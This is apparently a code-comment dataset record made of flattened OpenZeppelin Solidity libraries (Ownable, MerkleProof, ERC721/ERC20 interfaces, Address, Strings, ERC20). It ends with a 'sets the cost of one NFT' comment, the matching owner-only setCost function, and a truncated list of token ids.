return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../../../utils/Context.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
} | @notice sets the cost of one NFT | function setCost(uint256 _cost) external onlyOwner {
cost = _cost;
}
| 5,867,044 | [
1,
4424,
326,
6991,
434,
1245,
423,
4464,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
